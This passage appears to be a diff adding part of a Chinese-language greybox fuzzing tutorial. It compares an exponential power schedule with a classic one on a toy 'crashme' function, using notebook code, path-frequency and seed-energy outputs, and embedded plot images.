+```py
+print("             path id 'p'           : path frequency 'f(p)'")
+fast_schedule.path_frequency
+
+```
+
+```py
+             path id 'p'           : path frequency 'f(p)'
+
+```
+
+```py
+{'f2e66f5447cf94afc06f4aff3d7cf349': 5684,
+ '3e55dc120b76995e04fdeb76ef790af8': 2629,
+ 'e11bfcc84cfe5320d36a03abff4d8135': 1121,
+ 'ccab8793361783ff88e8cafc58ed178b': 442,
+ 'd5b7040bdd60ea92a98a0d715bdb7ced': 124}
+
+```
+
+它与带有经典功率计划的灰盒模糊器相比如何？
+
+```py
+seed_input = "good"
+orig_schedule = PowerSchedule()
+orig_fuzzer = CountingGreyboxFuzzer([seed_input], Mutator(), orig_schedule)
+start = time.time()
+orig_fuzzer.runs(FunctionCoverageRunner(crashme), trials=n)
+end = time.time()
+
+"It took the fuzzer w/ original schedule %0.2f seconds to generate and execute %d inputs." % (end - start, n)
+
+```
+
+```py
+'It took the fuzzer w/ original schedule 0.76 seconds to generate and execute 10000 inputs.'
+
+```
+
+```py
+x_axis = np.arange(len(orig_schedule.path_frequency))
+y_axis = list(orig_schedule.path_frequency.values())
+
+plt.bar(x_axis, y_axis)
+plt.xticks(x_axis)
+plt.ylim(0, n)
+#plt.yscale("log")
+#plt.yticks([10,100,1000,10000])
+plt;
+
+```
+
+![](data:image/png;base64,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
+)
+
+```py
+print("             path id 'p'           : path frequency 'f(p)'")
+orig_schedule.path_frequency
+
+```
+
+```py
+             path id 'p'           : path frequency 'f(p)'
+
+```
+
+```py
+{'f2e66f5447cf94afc06f4aff3d7cf349': 6799,
+ '3e55dc120b76995e04fdeb76ef790af8': 2164,
+ 'e11bfcc84cfe5320d36a03abff4d8135': 743,
+ 'ccab8793361783ff88e8cafc58ed178b': 294}
+
+```
+
+指数功率调度可以消除“高频路径”的某些执行，并将它们添加到低频路径。 最不经常执行的路径要么根本不使用传统的功率计划表执行，要么不那么频繁地执行。
+
+让我们看一下分配给发现的种子的能量。
+
+```py
+orig_energy = orig_schedule.normalizedEnergy(orig_fuzzer.population)
+
+for (seed, norm_energy) in zip(orig_fuzzer.population, orig_energy):
+    print("'%s', %0.5f, %s" % (getPathID(seed.coverage), norm_energy, repr(seed.data)))
+
+```
+
+```py
+'f2e66f5447cf94afc06f4aff3d7cf349', 0.25000, 'good'
+'3e55dc120b76995e04fdeb76ef790af8', 0.25000, 'bgko?'
+'e11bfcc84cfe5320d36a03abff4d8135', 0.25000, 'bao|oD?'
+'ccab8793361783ff88e8cafc58ed178b', 0.25000, 'bado}oiD\x7f'
+
+```
+
+```py
+fast_energy = fast_schedule.normalizedEnergy(fast_fuzzer.population)
+
+for (seed, norm_energy) in zip(fast_fuzzer.population, fast_energy):
+    print("'%s', %0.5f, %s" % (getPathID(seed.coverage), norm_energy, repr(seed.data)))
+
+```
+
+```py
+'f2e66f5447cf94afc06f4aff3d7cf349', 0.00000, 'good'
+'3e55dc120b76995e04fdeb76ef790af8', 0.00000, 'bood/'
+'e11bfcc84cfe5320d36a03abff4d8135', 0.00002, 'ba^noD\x0f'
+'ccab8793361783ff88e8cafc58ed178b', 0.00173, 'bad\x0f'
+'d5b7040bdd60ea92a98a0d715bdb7ced', 0.99825, 'bad!\x0e'
+
+```
+
+究竟。 我们新的指数式功率计划将最多能量分配给行使最低频率路径的种子。
+
+让我们根据简单的[示例](#Runner-and-Sample-Program)随时间推移实现的覆盖率进行比较。
+
+```py
+_, orig_coverage = population_coverage(orig_fuzzer.inputs, crashme)
+_, fast_coverage = population_coverage(fast_fuzzer.inputs, crashme)
+line_orig, = plt.plot(orig_coverage, label="Original Greybox Fuzzer")
+line_fast, = plt.plot(fast_coverage, label="Boosted Greybox Fuzzer")
+plt.legend(handles=[line_orig, line_fast])
+plt.title('Coverage over time')
+plt.xlabel('# of inputs')
+plt.ylabel('lines covered');
+
+```
+
+![](data:image/png;base64,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